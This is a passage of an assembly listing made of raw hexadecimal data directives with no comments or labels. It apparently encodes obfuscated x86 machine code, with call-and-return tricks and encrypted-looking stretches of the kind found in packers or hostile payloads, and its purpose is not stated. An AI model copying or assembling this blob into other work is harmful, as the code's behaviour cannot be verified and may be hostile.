		dd 1C04h, 0C3554500h, 2DAEBEB7h, 98D404E1h, 259D89A3h
		dd 0F807A819h, 2D0985C7h, 719107A8h, 6A7ADBh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 30B172C3h
		dd 3956F0FFh, 0BE3ADF6Eh, 600FDDCh, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 96E7E5C3h
		dd 0B1BD8B5Dh, 8107A800h, 0A80B5DBDh, 7D007h, 12850F00h
		dd 89000000h, 0A8076DBDh, 5D85FF07h, 8107A80Bh,	49595BDEh
		dd 5DB5FF32h, 0F507A80Bh, 0D2195FFh, 539007A8h,	13E8h
		dd 647F5B00h, 0E3A4E8C1h, 7F957C6h, 0A6B74A13h,	0EE205067h
		dd 30DDB58Bh, 0BD8B07A8h, 7A80F21h, 6A5F5Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0F509CC3h
		dd 0ACD17B7Ch, 0BD8BAC07h, 7A8313Dh, 5E9h, 8E5D1800h
		dd 7E8DE06h, 0D1000000h, 9BD655C5h, 0AEBE78ECh,	8B757959h
		dd 8E95EF3h, 3F000000h,	4E72A857h, 6A019016h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0AB18C352h, 0E7816690h, 0BE66E84Ch, 9D89A5B6h, 7A81A95h
		dd 6AF38B66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 72AEC356h, 6525AF04h, 7BA878Ch
		dd 5E9h, 203E5E00h, 0B58B9BCCh,	7A83399h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 5EC35646h, 77E4C385h
		dd 10E9A8h, 0A7210000h,	94D76D4Dh, 0FE7CE4EAh, 43BA0BFCh
		dd 0BD893A42h, 7A81A45h, 0FFF8E8E9h, 0C5BD8BFFh, 6607A832h
		dd 6A60F38Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0DB53C357h, 0F98B04D3h, 0AE9h
		dd 0C658F200h, 0A689D1CEh, 0B9FD5E11h, 0FFFFFFFEh, 0AD9958Bh
		dd 8D2107A8h, 7A82869h,	0DD9D8B60h, 6007A821h, 7E9h, 44395C00h
		dd 7EA22287h, 732ED6BBh, 21616138h, 0A823618Dh,	8E907h
		dd 3DC10000h, 24574B30h, 8D0FA8C1h, 6, 0B358CA81h, 8D8B7F4Eh
		dd 7A82869h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	40C35646h, 0C2A1AA40h, 8531DA2Eh, 7A81485h, 0F01E183h
		dd 685h, 29858B00h, 8B07A828h, 0A823618Dh, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0FF170D2h, 0F01E183h, 2B85h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0BF90142Fh
		dd 60B60BF8h, 19F1B529h, 61F807A8h, 14E961h, 19770000h
		dd 31BDh, 3 dup(0)
		dd 59E90000h, 0A5000005h, 0E5CEE3F4h, 220B2037h, 634C6176h
		dd 0A28BA0B7h, 0C1CFE4F3h, 0D9FE9D08h, 1B3CDBC4h, 5F781D06h
		dd 0A6B1614Ah, 0CC12B191h, 0CBAD4B96h, 0AB54029Ch, 0ECB7A072h
		dd 8B8C4E1Fh, 0F8DBF3C0h, 0E9663126h, 0EB402D2Ah, 59706FA5h
		dd 566E75D3h, 8394462Fh, 0DE277496h, 8F50C7EFh,	12CC5A6Bh
		dd 2E4606E5h, 1502D451h, 80FCD4Ah, 83EEE93Dh, 483522F4h
		dd 844F480Fh, 8F789FB7h, 8BE0CDCAh, 58950F45h, 0F60E15D3h
		dd 2631E6CFh, 1C3BDE5Bh, 1601D451h, 0D0ACE4Bh, 0AF1AC742h
		dd 0E95401D0h, 859ABD5Ah, 12DDFA9Ch, 58954F88h,	279229D3h
		dd 0A8DA377Bh, 600A1Bh,	0C7080000h, 0AB350017h,	0D3597073h
		dd 0A04BB64Dh, 70CF054Bh, 2D5D359h, 597086BCh, 64858CD3h
		dd 1064C4Ch, 0BFF81BA8h, 0CAE6FE19h, 1,	215C7C8h, 256BC015h
		dd 0D3596FEFh, 0DA10EEF5h, 0E0D35970h, 67E4C1D9h, 5AD7A2B5h
		dd 7CD09BBCh, 326B1681h, 0D8A57067h, 183FDDC0h,	5F781A03h
		dd 72AB5E4Ah, 1CE9B4A3h, 65722104h, 35DF019Ah, 96A0FD76h
		dd 5606E901h, 5FF97641h, 2BF06D38h, 39E6612Ch, 7A9D3FCEh
		dd 0A434059h, 0B3804B4Ch, 8615809Bh, 0C2ABC0D7h, 0BF3C0710h
		dd 0B633FE19h, 869146E1h, 2CDEEBBh, 0FCC7D085h,	5837A2B3h
		dd 8F3BA6BFh, 1BA7B4ABh, 3522F22Bh, 0D8A3B464h,	78D7F30Bh
		dd 0BC000000h, 6A2DD183h, 14B43288h, 0C107F415h, 0D358A38Bh
		dd 8C728A91h, 380314C7h, 2FFA1DBBh, 28F3E4B2h, 23EEE9ABh
		dd 7F5EC9DAh, 0E271DCD7h, 260F2433h, 18956077h,	458A5542h
		dd 2D15C12Ch, 941BA7FFh, 72h, 5314C792h, 2334E384h, 496A3702h
		dd 0F5CB3A5Ch, 0C222FA93h, 8842D8E1h, 9AB27E51h, 7C9B40BDh
		dd 0EC5768B1h, 8499BE5Dh, 0D592467Fh, 7A471205h, 0C75B4159h
		dd 0F1836915h, 0D870774Bh, 1A53ECB7h, 256B587Fh, 0D358FEEFh
		dd 0E6D6EEF5h, 0D358FFADh, 6D30C87h, 0A8794611h, 0B4CFE7F0h
		dd 70D59D49h, 0B2C1BA8h, 11000000h, 0F34076BCh,	3F46D358h
		dd 11C74127h, 3AE01906h, 0E3AEA96Dh, 0DDF516h, 5AE34567h
		dd 0C79866ABh, 1B3324F6h, 0A6716638h, 68137E2Bh, 0A46F682Fh
		dd 3CDCBFD7h, 8450BC82h, 70910230h, 0BB01565Bh,	0D3589185h
		dd 0C86C848Bh, 549A874Fh, 0DB00A573h, 699FE53Ah, 6FDB00A5h
		dd 89905068h, 0D70325BEh, 510F9F78h, 0D8FF9F70h, 1A3DDDC0h
		dd 5D7A1C05h, 0DFD00892h, 0D6E7DB00h, 1D3ADC6Bh, 587F1F08h
		dd 19BBF48Dh, 5303E6FEh, 0B4D5C294h, 0D22724E9h, 0DF568Ch
		dd 3D555CDBh, 7628B722h, 0DF194F95h, 5CFCDB00h,	65868D3Bh
		dd 90004A50h, 0A1F6E3F0h, 0D3255Bh, 0C242BDBh, 12DF0h
		dd 1106EE00h, 0F99FD8C5h, 4C4B0DDEh, 0A7E03534h, 0DDCDE5F2h
		dd 0DB019DE8h, 831CE7EEh, 6CEDA461h, 0AB6F52A7h, 133773F4h
		dd 7C5F7798h, 0BFA8BDDAh, 0B02DF81Fh, 591EE9EEh, 9446D540h
		dd 471205D3h, 3E44597Ah, 0E3FFCF74h, 7CCDh, 0DD79B200h
		dd 7F4A4D0Ah, 0F9C691B2h, 9690C60Ch, 8F96DB01h,	15069177h
		dd 31524511h, 7BCDEF44h, 696E2C1Eh, 0E217D19Eh,	0BB894390h
		dd 92CA8394h, 0CD23132Bh, 0D3535920h, 2F6801CCh, 0D29F6A6Dh
		dd 2094CABAh, 0E85D5359h, 0FB99D27Dh, 3320C4DCh, 1EB85642h
		dd 254679E5h, 8A5DFF38h, 30FDC8CFh, 0BD77440Fh,	0FE56C08Eh
		dd 48475F54h, 58E3AC02h, 5EFBB2D3h, 0BF031839h,	66h, 15110601h
		dd 49365740h, 354D4A10h, 8C9BF036h, 9AA1DB01h, 978052CFh
		dd 0DEF99982h, 20569CF1h, 26DB018Ch, 0A02A071Fh, 0DB018D65h
		dd 71006B7Ch, 0F7A1B6A1h, 262E1D1Eh, 54AAF3F6h,	0CF004633h
		dd 0D5E2AE5Eh, 0D48603CEh, 0DB7BF8C3h, 0A574F1BCh, 8D9EE7B2h
		dd 0C7744322h, 0CB0B0C5Ch, 836798DEh, 666DEA5Ah, 11066551h
		dd 0B8B6D8C5h, 0EEBD805Dh, 0C107061Eh, 0DB04A290h, 5C7B1E57h
		dd 0B27D8444h, 5D726535h, 5705A274h, 0F9321F40h, 45223A5Dh
		dd 15D66CBBh, 127D7811h, 4014D383h, 38213657h, 29A67166h
		dd 249F6A6Dh, 0DD7D0C77h, 1ABCA5BAh, 0D6B5EB31h, 0B4BB1115h
		dd 0CF0C893h, 19000000h, 7DB7B5F7h, 21AE1B9h, 0C73EDC1Ch
		dd 0B9360116h, 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h
		dd 900DD8FFh, 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 51242C89h, 0C181E189h, 4
		dd 8704E983h, 895C240Ch, 0AA682404h, 89000006h,	0BA52243Ch
		dd 72020B75h, 1361EA81h, 0EAD10F89h, 39E1BD55h,	0D5F77C30h
		dd 3F15C581h, 0E5817308h, 588C1407h, 8105E5C1h,	44C8CF5h
		dd 6BC5816Fh, 9D86056h,	0F2815DEAh, 70D15A7Dh, 545AD089h
		dd 81243C8Bh, 4C4h, 4815000h, 0EB062A24h, 8478F20h, 62AB951h
		dd 4F2920EBh, 3C8B5908h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 582434FFh, 4C481h, 44E90000h, 0A0FFFC55h
		dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0AC29BFB8h,	0FFC50307h
		dd 7883C7E0h, 0ABC8E625h, 88F5DE28h, 94E9FA59h,	3CD73062h
		dd 3807CE70h, 6A6010h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0EE9CA0C3h, 861B509h, 958907A8h
		dd 7A82341h, 0FFFFFEB9h, 0B0ABEFFh, 8D2159DFh, 7A82F31h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 41C35141h
		dd 18DF8020h, 5018D21h,	0B50B07A8h, 7A80319h, 2F318D8Bh
		dd 6A07A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0A435DEC3h, 2C3B319Eh, 58F0F66h, 66000000h
		dd 7580EE81h, 0AE8h, 7C9D3E00h,	0DDCAFB61h, 5BB71A89h
		dd 0F01E183h, 985h, 619D2900h, 0F07A80Eh, 8D8BC7BFh, 7A80501h
		dd 0AE8h, 89F46F00h, 0FAFAC8C3h, 66B7BD14h, 5AB0DDBEh
		dd 0F01E183h, 685h, 19D8900h, 6107A82Eh, 55006A60h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0AE2A24EAh, 0F1EC7E1h, 68Fh,	9D958B00h, 0B907A80Ah
		dd 0FFFFFFFEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	55C35747h, 629E3759h, 13518D21h, 0F6007A8h, 285h
		dd 0E951B200h, 0Ch, 6BBEEA36h, 6E4E9AE1h, 5E638A26h, 758D2161h
		dd 6607A815h, 8D8BDE8Bh, 7A81351h, 88B0Fh, 8B530000h, 0A817BDB5h
		dd 0E1835807h, 6850F01h, 29000000h, 0A81CBD9Dh,	758D8B07h
		dd 0E907A815h, 0Ah, 6C4C559Bh, 0D94FCB89h, 850F65BBh, 6
		dd 0BC5B503h, 0E18307A8h, 0F850F01h, 0F000000h,	6660DAB7h
		dd 8B45B6BEh, 0A81E6985h, 0E9616107h, 27h, 1CEB2BE2h, 8	dup(0)
		dd 0E9000000h, 554h, 5B706738h,	0A0B5A272h, 0E1F6E1B7h
		dd 203522F8h, 5E736437h, 692C7950h, 0A970596Eh,	0EBB099AEh
		dd 2CEED7ECh, 9736162Bh, 0AD441B51h, 0D98721CBh, 0B7A072ABh
		dd 24071FECh, 19A6572h,	370215C8h, 30FB1CBAh, 472A4263h
		dd 696E8394h, 546C6B30h, 5306A171h, 6FFC3278h, 0FB02D359h
		dd 21420FDAh, 1E39D956h, 1106D653h, 8CF7F246h, 253A5DFDh
		dd 0C43AFE20h, 99C43802h, 0DEF99E81h, 5EE0B8F1h, 1BE94221h
		dd 435B7CD5h, 0D866331Ch, 2BDB0F13h, 1FBB8CC5h,	730CD7F8h
		dd 0B07B9C3Ah, 31E8CBE3h, 33E05B26h, 60FB1DC8h,	85452815h
		dd 0CD106C0Dh, 1CF0BB13h, 748C8B4Bh, 7123C491h,	7F1E549Ah
		dd 1D24D358h, 436431FCh, 8295452Eh, 7EF42DB7h, 37CED358h
		dd 0F06A20CCh, 77CC1BA8h, 5872FB31h, 29FA01D3h,	0D29F6A6Dh
		dd 569EBAh, 0C79C0000h,	9C350017h, 6BE4A37Ah, 0E2B32352h
		dd 1F0F2730h, 0D358B1E7h, 13BF2AC1h, 1BA8BF5Fh,	1A2h, 15C7A000h
		dd 0C9948352h, 9310DBFCh, 8E0BD6C1h, 0C0E2CFC8h, 0D7F7D32Fh
		dd 432038DFh, 3B0611C6h, 30FB1CBEh, 9776E1DCh, 0FA89F4EFh
		dd 3F283D5Ah, 7763789Fh, 160314C7h, 0B904F1F4h,	223A89D9h
		dd 0A073AC45h, 18BC9FB7h, 726F34FFh, 637B9C39h,	1032DD48h
		dd 5DB6313h, 6B4E66E5h,	959AAFA8h, 73C4FA40h, 0C3CAD358h
		dd 116C8ABh, 481FB936h,	96618295h, 905B7C19h, 6EF3A62Ah
		dd 31026FA1h, 13AA7562h, 0BB54339Eh, 0B78B37A2h, 271BA78Dh
		dd 0DA7D2AEEh, 4D19CBDh, 0C0D0ECh, 0C7CE0000h, 0ABDA6A14h
		dd 15CFC88Bh, 3E8497EFh, 0D3592608h, 2CE6070Eh,	6002F03Ah
		dd 0D5A0C10Ah, 0AA978058h, 721DA171h, 7FC73A02h, 6F3C0728h
		dd 2B267A57h, 0DC6231C0h, 86E8E220h, 0B1C6E7C9h, 370215C8h
		dd 0C1767C9Eh, 6703B63Eh, 0AD7A2B5h, 28EED1E9h,	61F642Fh
		dd 21CBEF9Bh, 826E1BA7h, 53000000h, 2D63A9FEh, 33D35888h
		dd 88184E2Ch, 4B1ED358h, 5888CF05h, 0ADCED5D3h,	89ABAF95h
		dd 0DFECB724h, 4528407Dh, 1DB68196h, 0A67532E4h, 19BF90B1h
		dd 5603E6FEh, 382D7641h, 0ED332516h, 983BFB8Ah,	2B465E7Fh
		dd 0DC6231C0h, 77BD4228h, 0D358D141h, 5B864047h, 869BBC79h
		dd 83944881h, 15C7856Bh, 74AD3702h, 57D35970h, 4BC89384h
		dd 75BE898Eh, 401AF964h, 0D8923EA9h, 211BA801h,	1, 0A272AB1Fh
		dd 51DEAB5h, 96617622h,	935E7919h, 52658718h, 367A1AADh
		dd 3DA8C3DBh, 0D8EDEAAEh, 0FF21292Eh, 0D79E53D6h, 245A3899h
		dd 2AD35928h, 0C0150223h, 0A8C0D787h, 13CD7B8h,	0B57C9EDBh
		dd 83A27D08h, 242BEB03h, 513ADC59h, 112D50Bh, 0B3D4DBDBh
		dd 0F2E5B59Eh, 12659D27h, 6B7CDB01h, 7A1C5500h,	12154B91h
		dd 141BDB01h, 0CBC228F3h, 97F393BAh, 463354h, 0DB0126CAh
		dd 0CEB1C9D0h, 0F1F60B0Ch, 3DE075CFh, 3E56CCF5h, 0D19CBB5Bh
		dd 0CA958254h, 0C38E894Dh, 0B5809746h, 0A9746338h, 3FAAC3DCh
		dd 23EEE9B0h, 31C3556h,	4E490998h, 147F3339h, 0A6DFE3F0h
		dd 4C19E4F3h, 11F1834h,	6160000h, 92D8C511h, 0DB019D9Dh
		dd 38D19CA3h, 9D679DE3h, 666DDB01h, 0FCAB6B4Eh,	91E3F58h
		dd 8E597E20h, 0F3A64111h, 7BF8C3E4h, 58F1BCDBh,	19DDC12h
		dd 0ADBE2DBh, 7D484Fh, 0A6733E59h, 0AE8DF809h, 82117C95h
		dd 564117D0h, 501A2035h, 0A9E3FFD2h, 41h, 0C11506A7h, 0CF82B2D4h
		dd 0A5706733h, 3D671ED8h, 6BB1B0C8h, 5358CC15h,	0A3B4641Bh
		dd 6DD072D8h, 78671798h, 0E16B3657h, 5358F6ABh,	4494FF74h
		dd 0CC12FFD7h, 0D358F676h, 1C60757Ch, 89h, 0C511065Eh
		dd 8F4A83D8h, 0D8F0BD88h, 18C93E8h, 5385ADBh, 0F563CD95h
		dd 0E5ECACC4h, 2AFD9D1Ah, 34496A6Dh, 0C18C8B4Bh, 81830628h
		dd 2917C84Bh, 0A6E62111h, 0BC9DB01h, 7900B173h,	1F40DEDFh
		dd 1007D754h, 0CE39AE45h, 0D64152EFh, 6B809747h, 938054C1h
		dd 0AE99764Dh, 0AA757CE2h, 9F6A6D2Dh, 0BC0C7724h, 590ECB5Bh
		dd 4D19CBBh, 8FD5C2E3h,	0EA5AC5B8h, 9DA2B7BEh, 0C5CC0248h
		dd 32D2EA5Ah, 5C6F0AA7h, 849CBD51h, 2C11069Eh, 490B0E5Ah
		dd 323E944Eh, 58917E9Fh, 0FECB9681h, 0CAA1E7E6h, 0D0DB04EDh
		dd 0D7500F30h, 0A6939E32h, 52D2A60h, 82930DBh, 0F91EC03Dh
		dd 3C5BFBE4h, 4787E771h, 9893F64Ch, 0DBFC9E2Dh,	1A3DDDC6h
		dd 1304D24Fh, 0B520CD48h, 4E637426h, 0D7A2B565h, 3FFh
		dd 3EDC4100h, 360116C7h, 33FE19B9h, 2BF6E1B6h, 21ECEBAEh
		dd 1BE6F1A4h, 0DD8FF9Eh, 2CDCA90h, 0F9C4D385h, 0F4BFD87Ch
		dd 33B5683Ch, 2C890000h, 5CBD6824h, 14890000h, 22B46824h
		dd 1C890000h, 49FCBA24h, 0EAD12EF7h, 0EAC1DAF7h, 0D1B85003h
		dd 2915645Eh, 8B5458C2h, 0C483241Ch, 89535604h,	5BDE89D3h
		dd 5E087389h, 5B2434FFh, 8B04C483h, 89502414h, 405E0h
		dd 4050000h, 87000000h,	0E95C2404h, 0FFFC4DD3h,	1667BC13h
		dd 0AC3180B8h, 0FFC50307h, 6D3C69E0h, 0DC8A5E23h, 2656C55Dh
		dd 0A1C4AC61h, 83A61B61h, 67A60C54h, 0F50ED31Fh, 7B35E732h
		dd 0BC6AE469h, 0C6FE9B2Ch, 69E0CA45h, 0ABAAFD64h, 2A66763Dh
		dd 0E1C31824h, 4FF2731Ch, 0BBFC4E71h, 0E686E565h, 5E20E810h
		dd 0DD996840h, 6A606Dh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0AA9F0DC3h, 80AE1BE6h, 13E9h, 0D322DE00h
		dd 0B1329A3Dh, 0AC4E48F0h, 0CD2F135Ah, 11AC9B96h, 0FFFFFEB9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 21B5D503h, 0A82D098Dh, 8B60F507h, 0A82695B5h
		dd 0D1B50907h, 6107A809h, 2B058D21h, 6A07A8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 8C24F4C3h
		dd 0B533E234h, 7A8236Dh, 2D098D8Bh, 6A07A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0E183FAC3h
		dd 1F850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 7899C353h, 8D8B0463h
		dd 7A82B05h, 0AF4C781h,	0E183415Bh, 6850F01h, 89000000h
		dd 0A81B5D9Dh, 6A606107h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0C159C351h,	0B66E9E8Bh
		dd 9B9283B2h, 0CDD858Bh, 85C707A8h, 7A80B5Dh, 7D0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6C35646h, 0AAA95190h
		dd 61F546C0h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	6AC35747h, 0EBCE8BF9h, 0E99D6107h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 37C35646h
		dd 0BD896052h, 7A825ADh, 3598D8Bh, 6A6107A8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0B6BFC350h, 0E7816651h, 0B5890C74h, 7A82395h, 75E9C18Bh
		dd 60000000h, 0A8D88C66h, 35840F04h, 6A000000h,	95B5FF01h
		dd 8D07A818h, 0AB781A85h, 89D0FF07h, 0A818F585h, 0C1FE8B07h
		dd 680CEFh, 6A200400h, 57026A00h, 1000D68h, 0F595FF00h
		dd 0E907A818h, 32h, 61985C6h, 685607A8h, 0A9C530DFh, 0CE1B5FFh
		dd 858D07A8h, 7AB781Ah,	8589D0FFh, 7A82DADh, 1915858Dh
		dd 6A5007A8h, 56056A20h, 2DAD95FFh, 0C36107A8h,	6006E0C1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E7C35646h
		dd 0F56F08B8h, 0BD83C08Bh, 7A827F9h, 83097500h,	0A80605BDh
		dd 19740007h, 0C08B5350h, 438B8h, 85858900h, 8D07A825h
		dd 0AAB0239Dh, 5BD3FF07h, 5BD8358h, 7A806h, 53501774h
		dd 438B8h, 85858900h, 8D07A825h, 0AAAD129Dh, 5BD3FF07h
		dd 0F98B5658h, 0D9B53159h, 8B07A81Ah, 0A5BD8BC0h, 0E807A819h
		dd 801h, 81FBB70Fh, 7B97ECF6h, 7585890Dh, 8B07A81Ah, 7EBE8CBh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 34891FC3h, 1A112A49h, 8AD79BAFh, 418589EBh
		dd 6A07A826h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0D8FBC350h, 79240F08h,	96E8A3D5h
		dd 6A000007h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 890BC356h, 0A809F585h,	8E907h
		dd 968F0000h, 59865575h, 8D0BCF82h, 7A80EA1h, 0BBD8589h
		dd 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 5152CEC3h, 57E85AFBh, 81A8C7DBh, 771E72EEh
		dd 72BE879h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0A6F456C3h, 891B36D6h, 0A8309985h
		dd 1830F07h, 0F8000000h, 6F8E8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0B83A18Dh
		dd 8115DD80h, 318B41C7h, 0D1858930h, 0BF07A823h, 3E69C165h
		dd 6C0E8h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 545175CAh, 9BC98166h, 2CD18108h
		dd 8910BA05h, 0A82FC585h, 0E8F08B07h, 689h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 92C35040h, 0D648E8C5h
		dd 8B5AF950h, 0A81879B5h, 8B606007h, 0A82AC99Dh, 61616007h
		dd 8FB96653h, 0F615E8Eh, 289h, 89F18B00h, 0A8005585h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0C7C4D71Dh, 6007A70Bh, 1A55BD8Bh, 0CB8007A8h, 9D316156h
		dd 7A829C9h, 608E8h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 898CA09Ch, 0A8147985h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 67DE1D83h, 1A5DB58Bh, 0BE6607A8h, 0B6E85B74h
		dd 6A000005h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 5CAAC350h, 0BD29FAB1h,	7A821F1h
		dd 986DDE81h, 85893057h, 7A810A9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 60C35242h, 8D8BCAF9h, 7A82FE1h
		dd 5AE835B5h, 8B000005h, 0A8313DB5h, 0BD858907h, 6A07A814h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 788FC356h, 2AE8AF89h, 60000005h, 61AFB1F8h
		dd 8B18589h, 6A07A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 15AA6CC3h, 0D4162A5Ch, 0F5958932h
		dd 0E807A809h, 4F1h, 0FCEB70Fh,	68Ah, 45BD2B00h, 8907A808h
		dd 0A8196185h, 0F88B6607h, 4D4E8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 6D8621A8h
		dd 735DE762h, 78F0FFDh,	0F000000h, 18Ah, 8589F800h, 7A805FDh
		dd 852B6052h, 7A834C9h,	0BD315F61h, 7A80615h, 488E8h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0FDF6CDAh, 8589F7B7h, 7A805DDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0B5C35141h,	0D6160CF0h, 58DAA226h
		dd 36E8F88Bh, 0F000004h, 8589F8BFh, 7A80AFDh, 27DDBD89h
		dd 22E807A8h, 60000004h, 3840Fh, 0B70F0000h, 858D01C6h
		dd 6107A829h, 15598589h, 0A7BE07A8h, 0B0163524h, 98D8B00h
		dd 0F07A806h, 0B52BD8B6h, 7A8174Dh, 6BAh, 0F98B6600h, 6AC38Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0B8BE39C3h, 0CB8BD3A9h, 6A04E8C1h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0D6CEC351h
		dd 77AC21CEh, 0F7666280h, 51006AE2h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 2B49CC4Eh
		dd 458D01D8h, 5607A800h, 2D299D89h, 505F07A8h, 52505250h
		dd 12E8h, 0F7AB4D00h, 8588A506h, 586284CDh, 16EEE0D6h
		dd 5E0F7570h, 6160310Fh, 310F585Ah, 28A0Fh, 61600000h
		dd 1C89585Ah, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0C58D8B43h, 0FF07A805h, 0A8265195h
		dd 5BFA8B07h, 958DEB8Ah, 7A81021h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0B8C35141h,	0F4AC5083h, 0B70FC5B4h
		dd 661A89F2h, 183DF781h, 6A044289h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 1B5DC357h
		dd 7AECDDBFh, 9D2EAF27h, 14F19D89h, 8B0F07A8h, 5, 7ED68166h
		dd 0C9958DF7h, 8907A818h, 57006A1Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 580C3217h
		dd 0C2BF5AD0h, 6A044289h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 8C9CC356h, 0E7CB612Ch
		dd 9D95896Ch, 8907A827h, 0A82E39BDh, 1958D07h, 6A07A825h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0B4A6C352h, 0E958525Fh, 11h, 512DDEE3h, 84AFBDBCh
		dd 0FEB712C4h, 0D618A385h, 29B589A0h, 8907A810h, 53006A1Ah
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0B1BD8B07h, 8907A806h, 0BF660442h, 958DF3F7h, 7A83125h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 17C35040h
		dd 4765AEE6h, 8995C814h, 0A18D891Ah, 8907A81Ch,	8B500442h
		dd 0A833A9B5h, 958D5E07h, 7A805C9h, 14558D8Bh, 1A8907A8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 5C35343h
		dd 2927A4DCh, 0D1813187h, 192B32C6h, 6A044289h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 571AC351h, 958DB4DDh, 7A803A9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0A1C35040h
		dd 9762BD21h, 0ADA249Ah, 0B1A89D0h, 0A8314DBDh,	4428907h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 33C35040h
		dd 0FC164247h, 8D8BA863h, 7A8151Dh, 18B0Fh, 8DF80000h
		dd 0A8266995h, 558D0B07h, 8907A814h, 50006A1Ah,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E9C04751h
		dd 0Eh,	0BFE6161Ch, 0C695DDFEh,	0DEBF06A1h, 85899091h
		dd 7A81ACDh, 8B044289h,	0A81D75BDh, 65958D07h, 6A07A82Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 97EFC356h, 97B5D9C1h, 1A895F87h, 0EE9h, 346C0900h
		dd 0FE295C82h, 49A9DE07h, 89021E75h, 6A0442h, 3E850h, 58200000h
